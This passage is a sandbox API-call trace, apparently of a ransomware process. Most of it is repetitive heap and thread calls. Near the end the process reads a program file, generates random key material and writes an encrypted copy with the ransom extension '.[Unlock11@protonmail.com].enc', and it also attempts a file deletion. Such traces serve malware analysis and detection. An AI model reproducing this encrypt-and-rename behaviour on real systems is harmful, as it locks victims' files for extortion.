[0120.398] GetLastError () returned 0x0 [0120.399] GetLastError () returned 0x0 [0120.399] GetCurrentThreadId () returned 0x9b0 [0120.399] GetLastError () returned 0x0 [0120.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.400] GetLastError () returned 0x0 [0120.401] GetLastError () returned 0x0 [0120.401] GetCurrentThreadId () returned 0x9b0 [0120.401] GetLastError () returned 0x0 [0120.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265298 [0120.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0120.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.401] GetCurrentThreadId () returned 0x9b0 [0120.402] GetLastError () returned 0x0 [0120.402] GetLastError () returned 0x0 [0120.402] GetLastError () returned 0x0 [0120.402] GetLastError () returned 0x0 [0120.402] GetCurrentThreadId () returned 0x9b0 [0120.402] GetLastError () returned 0x0 [0120.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0120.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.403] GetLastError () returned 0x0 [0120.404] GetLastError () returned 0x0 [0120.404] GetCurrentThreadId () returned 0x9b0 [0120.404] GetLastError () returned 0x0 [0120.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.404] GetLastError () returned 0x0 [0120.406] GetLastError () returned 0x0 [0120.406] GetCurrentThreadId () returned 0x9b0 [0120.406] GetLastError () returned 0x0 [0120.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0120.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265298 | out: hHeap=0x2ad0000) returned 1 [0120.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.407] GetCurrentThreadId () returned 0x9b0 [0120.407] GetLastError () returned 0x0 [0120.407] GetLastError () returned 0x0 [0120.407] GetLastError () returned 0x0 [0120.408] GetLastError () returned 0x0 [0120.408] GetCurrentThreadId () returned 0x9b0 [0120.408] GetLastError () returned 0x0 [0120.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0120.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0120.408] GetLastError () returned 0x0 [0120.410] GetLastError () returned 0x0 [0120.410] GetCurrentThreadId () returned 0x9b0 [0120.410] GetLastError () returned 0x0 [0120.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.410] GetLastError () returned 0x0 [0120.413] GetLastError () returned 0x0 [0120.413] GetCurrentThreadId () returned 0x9b0 [0120.413] GetLastError () returned 0x0 [0120.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265298 [0120.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0120.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.413] GetCurrentThreadId () returned 0x9b0 [0120.414] GetLastError () returned 0x0 [0120.414] GetLastError () returned 0x0 [0120.414] GetLastError () returned 0x0 [0120.414] GetLastError () returned 0x0 [0120.414] GetCurrentThreadId () returned 0x9b0 [0120.414] GetLastError () returned 0x0 [0120.415] GetCurrentThreadId () returned 0x9b0 [0120.415] GetLastError () returned 0x0 [0120.416] GetCurrentThreadId () returned 0x9b0 [0120.416] GetLastError () returned 0x0 [0120.416] GetCurrentThreadId () returned 0x9b0 [0120.416] GetCurrentThreadId () returned 0x9b0 [0120.416] GetLastError () returned 0x0 [0120.417] GetCurrentThreadId () returned 0x9b0 [0120.418] GetLastError () returned 0x0 [0120.419] GetCurrentThreadId () returned 0x9b0 [0120.419] GetLastError () returned 0x0 [0120.419] GetCurrentThreadId () returned 0x9b0 [0120.420] GetCurrentThreadId () returned 0x9b0 [0120.420] GetLastError () returned 0x0 [0120.421] GetCurrentThreadId () returned 0x9b0 [0120.421] GetLastError () returned 0x0 [0120.421] GetCurrentThreadId () returned 0x9b0 [0120.421] GetLastError () returned 0x0 [0120.422] GetCurrentThreadId () returned 0x9b0 [0120.422] GetLastError () returned 0x0 [0120.422] GetCurrentThreadId () returned 0x9b0 [0120.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0120.424] GetCurrentThreadId () returned 0x9b0 [0120.424] GetLastError () returned 0x0 [0120.425] GetCurrentThreadId () returned 0x9b0 [0120.425] GetLastError () returned 0x0 [0120.426] GetCurrentThreadId () returned 0x9b0 [0120.426] GetLastError () returned 0x0 [0120.427] GetCurrentThreadId () returned 0x9b0 [0120.427] GetLastError () returned 0x0 [0120.427] GetCurrentThreadId () returned 0x9b0 [0120.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.427] GetCurrentThreadId () returned 0x9b0 [0120.427] GetLastError () returned 0x0 [0120.428] GetCurrentThreadId () returned 0x9b0 [0120.428] GetLastError () returned 0x0 [0120.429] GetCurrentThreadId () returned 0x9b0 [0120.429] GetLastError () returned 0x0 [0120.431] GetCurrentThreadId () returned 0x9b0 [0120.431] GetLastError () returned 0x0 [0120.431] GetCurrentThreadId () returned 0x9b0 [0120.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0120.431] GetCurrentThreadId () returned 0x9b0 [0120.431] GetLastError () returned 0x0 [0120.432] GetCurrentThreadId () returned 0x9b0 [0120.433] GetLastError () returned 0x0 [0120.433] GetCurrentThreadId () returned 0x9b0 [0120.433] GetLastError () returned 0x0 [0120.433] GetCurrentThreadId () returned 0x9b0 [0120.433] GetCurrentThreadId () returned 0x9b0 [0120.433] GetLastError () returned 0x0 [0120.435] GetCurrentThreadId () returned 0x9b0 [0120.435] GetLastError () returned 0x0 [0120.436] GetCurrentThreadId () returned 0x9b0 [0120.436] GetLastError () returned 0x0 [0120.437] GetCurrentThreadId () returned 0x9b0 [0120.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.437] GetCurrentThreadId () returned 0x9b0 [0120.437] GetLastError () returned 0x0 [0120.438] GetCurrentThreadId () returned 0x9b0 [0120.438] GetLastError () returned 0x0 [0120.439] GetCurrentThreadId () returned 0x9b0 [0120.439] GetLastError () returned 0x0 [0120.439] GetCurrentThreadId () returned 0x9b0 [0120.439] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.439] GetCurrentThreadId () returned 0x9b0 [0120.439] GetLastError () returned 0x0 [0120.440] GetCurrentThreadId () returned 0x9b0 [0120.441] GetLastError () returned 0x0 [0120.442] GetCurrentThreadId () returned 0x9b0 [0120.442] GetLastError () returned 0x0 [0120.443] GetCurrentThreadId () returned 0x9b0 [0120.443] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.443] GetCurrentThreadId () returned 0x9b0 [0120.443] GetLastError () returned 0x0 [0120.444] GetCurrentThreadId () returned 0x9b0 [0120.444] GetLastError () returned 0x0 [0120.452] GetCurrentThreadId () returned 0x9b0 [0120.452] GetLastError () returned 0x0 [0120.452] GetCurrentThreadId () returned 0x9b0 [0120.452] GetCurrentThreadId () returned 0x9b0 [0120.452] GetLastError () returned 0x0 [0120.562] GetCurrentThreadId () returned 0x9b0 [0120.562] GetLastError () returned 0x0 [0120.564] GetCurrentThreadId () returned 0x9b0 [0120.564] GetLastError () returned 0x0 [0120.564] GetCurrentThreadId () returned 0x9b0 [0120.564] GetCurrentThreadId () returned 0x9b0 [0120.565] GetLastError () returned 0x0 [0120.566] GetCurrentThreadId () returned 0x9b0 [0120.566] GetLastError () returned 0x0 [0120.566] GetCurrentThreadId () returned 0x9b0 [0120.566] GetLastError () returned 0x0 [0120.566] GetCurrentThreadId () returned 0x9b0 [0120.567] GetCurrentThreadId () returned 0x9b0 [0120.567] GetLastError () returned 0x0 [0120.568] GetCurrentThreadId () returned 0x9b0 [0120.568] GetLastError () returned 0x0 [0120.571] GetCurrentThreadId () returned 0x9b0 [0120.572] GetLastError () returned 0x0 [0120.572] GetCurrentThreadId () returned 0x9b0 [0120.573] GetCurrentThreadId () returned 0x9b0 [0120.573] GetLastError () returned 0x0 [0120.574] GetCurrentThreadId () returned 0x9b0 [0120.574] GetLastError () returned 0x0 [0120.575] GetCurrentThreadId () returned 0x9b0 [0120.576] GetLastError () returned 0x0 [0120.576] GetCurrentThreadId () returned 0x9b0 [0120.576] GetCurrentThreadId () returned 0x9b0 [0120.576] GetLastError () returned 0x0 [0120.642] GetCurrentThreadId () returned 0x9b0 [0120.642] GetLastError () returned 0x0 [0120.644] GetCurrentThreadId () returned 0x9b0 [0120.644] GetLastError () returned 0x0 [0120.644] GetCurrentThreadId () returned 0x9b0 [0120.644] GetCurrentThreadId () returned 0x9b0 [0120.644] GetLastError () returned 0x0 [0120.646] GetCurrentThreadId () returned 0x9b0 [0120.646] GetLastError () returned 0x0 [0120.646] GetCurrentThreadId () returned 0x9b0 [0120.646] GetLastError () returned 0x0 [0120.646] GetCurrentThreadId () returned 0x9b0 [0120.647] GetLastError () returned 0x0 [0120.647] GetCurrentThreadId () returned 0x9b0 [0120.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0120.649] GetCurrentThreadId () returned 0x9b0 [0120.649] GetLastError () returned 0x0 [0120.651] GetCurrentThreadId () returned 0x9b0 [0120.651] GetLastError () returned 0x0 [0120.652] GetCurrentThreadId () returned 0x9b0 [0120.652] GetLastError () returned 0x0 [0120.652] GetCurrentThreadId () returned 0x9b0 [0120.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0120.653] GetCurrentThreadId () returned 0x9b0 [0120.653] GetLastError () returned 0x0 [0120.653] GetCurrentThreadId () returned 0x9b0 [0120.654] GetLastError () returned 0x0 [0120.654] GetCurrentThreadId () returned 0x9b0 [0120.654] GetLastError () returned 0x0 [0120.656] GetCurrentThreadId () returned 0x9b0 [0120.656] GetLastError () returned 0x0 [0120.657] GetCurrentThreadId () returned 0x9b0 [0120.657] GetLastError () returned 0x0 [0120.657] GetCurrentThreadId () returned 0x9b0 [0120.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265298 [0120.658] GetCurrentThreadId () returned 0x9b0 [0120.658] GetLastError () returned 0x0 [0120.659] GetCurrentThreadId () returned 0x9b0 [0120.659] GetLastError () returned 0x0 [0120.659] GetCurrentThreadId () returned 0x9b0 [0120.659] GetLastError () returned 0x0 [0120.659] GetCurrentThreadId () returned 0x9b0 [0120.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0120.660] GetCurrentThreadId () returned 0x9b0 [0120.660] GetLastError () returned 0x0 [0120.661] GetCurrentThreadId () returned 0x9b0 [0120.661] GetLastError () returned 0x0 [0120.663] GetCurrentThreadId () returned 0x9b0 [0120.663] GetLastError () returned 0x0 [0120.670] GetCurrentThreadId () returned 0x9b0 [0120.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.671] GetCurrentThreadId () returned 0x9b0 [0120.671] GetLastError () returned 0x0 [0120.672] GetCurrentThreadId () returned 0x9b0 [0120.672] GetLastError () returned 0x0 [0120.672] GetCurrentThreadId () returned 0x9b0 [0120.673] GetLastError () returned 0x0 [0120.673] GetCurrentThreadId () returned 0x9b0 [0120.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.673] GetCurrentThreadId () returned 0x9b0 [0120.673] GetLastError () returned 0x0 [0120.675] GetCurrentThreadId () returned 0x9b0 [0120.675] GetLastError () returned 0x0 [0120.676] GetCurrentThreadId () returned 0x9b0 [0120.676] GetLastError () returned 0x0 [0120.677] GetCurrentThreadId () returned 0x9b0 [0120.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.677] GetCurrentThreadId () returned 0x9b0 [0120.677] GetLastError () returned 0x0 [0120.678] GetCurrentThreadId () returned 0x9b0 [0120.678] GetLastError () returned 0x0 [0120.679] GetCurrentThreadId () returned 0x9b0 [0120.679] GetLastError () returned 0x0 [0120.679] GetCurrentThreadId () returned 0x9b0 [0120.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.679] GetCurrentThreadId () returned 0x9b0 [0120.679] GetLastError () returned 0x0 [0120.681] GetCurrentThreadId () returned 0x9b0 [0120.681] GetLastError () returned 0x0 [0120.683] GetCurrentThreadId () returned 0x9b0 [0120.683] GetLastError () returned 0x0 [0120.683] GetCurrentThreadId () returned 0x9b0 [0120.683] GetCurrentThreadId () returned 0x9b0 [0120.683] GetLastError () returned 0x0 [0120.685] GetCurrentThreadId () returned 0x9b0 [0120.685] GetLastError () returned 0x0 [0120.692] GetCurrentThreadId () returned 0x9b0 [0120.692] GetLastError () returned 0x0 [0120.692] GetCurrentThreadId () returned 0x9b0 [0120.693] GetCurrentThreadId () returned 0x9b0 [0120.693] GetLastError () returned 0x0 [0120.707] GetCurrentThreadId () returned 0x9b0 [0120.707] GetLastError () returned 0x0 [0120.708] GetCurrentThreadId () returned 0x9b0 [0120.708] GetLastError () returned 0x0 [0120.708] GetCurrentThreadId () returned 0x9b0 [0120.708] GetCurrentThreadId () returned 0x9b0 [0120.709] GetLastError () returned 0x0 [0120.710] GetCurrentThreadId () returned 0x9b0 [0120.710] GetLastError () returned 0x0 [0120.711] GetCurrentThreadId () returned 0x9b0 [0120.711] GetLastError () returned 0x0 [0120.711] GetCurrentThreadId () returned 0x9b0 [0120.711] GetCurrentThreadId () returned 0x9b0 [0120.711] GetLastError () returned 0x0 [0120.713] GetCurrentThreadId () returned 0x9b0 [0120.713] GetLastError () returned 0x0 [0120.715] GetCurrentThreadId () returned 0x9b0 [0120.715] GetLastError () returned 0x0 [0120.715] GetCurrentThreadId () returned 0x9b0 [0120.715] GetCurrentThreadId () returned 0x9b0 [0120.715] GetLastError () returned 0x0 [0120.716] GetCurrentThreadId () returned 0x9b0 [0120.716] GetLastError () returned 0x0 [0120.717] GetCurrentThreadId () returned 0x9b0 [0120.717] GetLastError () returned 0x0 [0120.717] GetCurrentThreadId () returned 0x9b0 [0120.717] GetCurrentThreadId () returned 0x9b0 [0120.717] GetLastError () returned 0x0 [0120.719] GetCurrentThreadId () returned 0x9b0 [0120.719] GetLastError () returned 0x0 [0120.720] GetCurrentThreadId () returned 0x9b0 [0120.720] GetLastError () returned 0x0 [0120.721] GetCurrentThreadId () returned 0x9b0 [0120.721] GetLastError () returned 0x0 [0120.721] GetCurrentThreadId () returned 0x9b0 [0120.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0120.722] GetCurrentThreadId () returned 0x9b0 [0120.722] GetLastError () returned 0x0 [0120.723] GetCurrentThreadId () returned 0x9b0 [0120.723] GetLastError () returned 0x0 [0120.723] GetCurrentThreadId () returned 0x9b0 [0120.723] GetLastError () returned 0x0 [0120.724] GetCurrentThreadId () returned 0x9b0 [0120.724] GetLastError () returned 0x0 [0120.724] GetCurrentThreadId () returned 0x9b0 [0120.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.727] GetCurrentThreadId () returned 0x9b0 [0120.727] GetLastError () returned 0x0 [0120.727] GetCurrentThreadId () returned 0x9b0 [0120.727] GetLastError () returned 0x0 [0120.728] GetCurrentThreadId () returned 0x9b0 [0120.729] GetCurrentThreadId () returned 0x9b0 [0120.729] GetCurrentThreadId () returned 0x9b0 [0120.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652e8 [0120.729] GetCurrentThreadId () returned 0x9b0 [0120.731] GetCurrentThreadId () returned 0x9b0 [0120.732] GetCurrentThreadId () returned 0x9b0 [0120.733] GetCurrentThreadId () returned 0x9b0 [0120.733] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.733] GetCurrentThreadId () returned 0x9b0 [0120.734] GetCurrentThreadId () returned 0x9b0 [0120.735] GetCurrentThreadId () returned 0x9b0 [0120.735] GetCurrentThreadId () returned 0x9b0 [0120.735] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.735] GetCurrentThreadId () returned 0x9b0 [0120.736] GetCurrentThreadId () returned 0x9b0 [0120.738] GetCurrentThreadId () returned 0x9b0 [0120.738] GetCurrentThreadId () returned 0x9b0 [0120.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.739] GetCurrentThreadId () returned 0x9b0 [0120.740] GetCurrentThreadId () returned 0x9b0 [0120.740] GetCurrentThreadId () returned 0x9b0 [0120.740] GetCurrentThreadId () returned 0x9b0 [0120.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.741] GetCurrentThreadId () returned 0x9b0 [0120.743] GetCurrentThreadId () returned 0x9b0 [0120.744] GetCurrentThreadId () returned 0x9b0 [0120.744] GetCurrentThreadId () returned 0x9b0 [0120.744] GetCurrentThreadId () returned 0x9b0 [0120.746] GetCurrentThreadId () returned 0x9b0 [0120.746] GetCurrentThreadId () returned 0x9b0 [0120.746] GetCurrentThreadId () returned 0x9b0 [0120.746] GetCurrentThreadId () returned 0x9b0 [0120.748] GetCurrentThreadId () returned 0x9b0 [0120.749] GetCurrentThreadId () returned 0x9b0 [0120.749] GetCurrentThreadId () returned 0x9b0 [0120.749] GetCurrentThreadId () returned 0x9b0 [0120.750] GetCurrentThreadId () returned 0x9b0 [0120.759] GetCurrentThreadId () returned 0x9b0 [0120.759] GetCurrentThreadId () returned 0x9b0 [0120.760] GetCurrentThreadId () returned 0x9b0 [0120.764] GetCurrentThreadId () returned 0x9b0 [0120.764] GetCurrentThreadId () returned 0x9b0 [0120.764] GetCurrentThreadId () returned 0x9b0 [0120.765] GetCurrentThreadId () returned 0x9b0 [0120.766] GetCurrentThreadId () returned 0x9b0 [0120.766] GetCurrentThreadId () returned 0x9b0 [0120.766] GetCurrentThreadId () returned 0x9b0 [0120.767] GetCurrentThreadId () returned 0x9b0 [0120.768] GetCurrentThreadId () returned 0x9b0 [0120.768] GetCurrentThreadId () returned 0x9b0 [0120.768] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x9395) returned 0x36f8548 [0120.768] GetCurrentThreadId () returned 0x9b0 [0120.769] GetCurrentThreadId () returned 0x9b0 [0120.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9395) returned 0x35c5908 [0120.769] GetCurrentThreadId () returned 0x9b0 [0120.770] GetCurrentThreadId () returned 0x9b0 [0120.770] CloseHandle (hObject=0x3ac) returned 1 [0120.770] GetCurrentThreadId () returned 0x9b0 [0120.770] CloseHandle (hObject=0x39c) returned 1 [0120.770] GetCurrentThreadId () returned 0x9b0 [0120.770] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0 [0120.771] GetCurrentThreadId () returned 0x9b0 [0120.771] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll", lpFilePart=0x9bada4*="InkDiv.dll") returned 0x3d [0120.771] GetCurrentThreadId () returned 0x9b0 [0120.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0120.771] GetCurrentThreadId () returned 0x9b0 [0120.771] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll", lpFilePart=0x9bada4*="InkObj.dll") returned 0x3d [0120.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0120.772] GetCurrentThreadId () returned 0x9b0 [0120.772] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe", lpFilePart=0x9bada4*="InputPersonalization.exe") returned 0x4b [0120.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0120.772] GetCurrentThreadId () returned 0x9b0 [0120.772] GetCurrentThreadId () returned 0x9b0 [0120.772] GetCurrentThreadId () returned 0x9b0 [0120.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0120.773] GetCurrentThreadId () returned 0x9b0 [0120.773] GetCurrentThreadId () returned 0x9b0 [0120.773] GetCurrentThreadId () returned 0x9b0 [0120.773] GetCurrentThreadId () returned 0x9b0 [0120.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8aaa8 [0120.773] GetCurrentThreadId () returned 0x9b0 [0120.774] GetCurrentThreadId () returned 0x9b0 [0120.774] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x59a00)) returned 1 [0120.774] GetCurrentThreadId () returned 0x9b0 [0120.774] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366acb4 | out: pbBuffer=0x366acb4) returned 1 [0120.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0120.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0120.774] GetCurrentThreadId () returned 0x9b0 [0120.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0120.775] GetCurrentThreadId () returned 0x9b0 [0120.775] GetCurrentThreadId () returned 0x9b0 [0120.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaaa8 [0120.775] GetCurrentThreadId () returned 0x9b0 [0120.775] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0120.775] GetFileType (hFile=0x39c) returned 0x1 [0120.775] GetCurrentThreadId () returned 0x9b0 [0120.775] GetFileType (hFile=0x39c) returned 0x1 [0120.776] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.776] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.776] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.776] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.776] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.776] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.776] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.776] GetLastError () returned 0x0 [0120.776] GetCurrentThreadId () returned 0x9b0 [0120.776] GetLastError () returned 0x0 [0120.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0120.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0120.777] GetLastError () returned 0x0 [0120.777] GetLastError () returned 0x0 [0120.777] GetLastError () returned 0x0 [0120.777] GetLastError () returned 0x0 [0120.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652a8 [0120.777] GetLastError () returned 0x0 [0120.777] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0120.778] GetFileType (hFile=0x3ac) returned 0x1 [0120.778] GetLastError () returned 0x0 [0120.778] GetCurrentThreadId () returned 0x9b0 [0120.778] GetLastError () returned 0x0 [0120.778] GetFileType (hFile=0x3ac) returned 0x1 [0120.778] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.778] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.778] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.778] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.778] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.779] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.779] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.779] GetLastError () returned 0x0 [0120.779] GetCurrentThreadId () returned 0x9b0 [0120.779] GetLastError () returned 0x0 [0120.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0120.779] HeapFree (in: 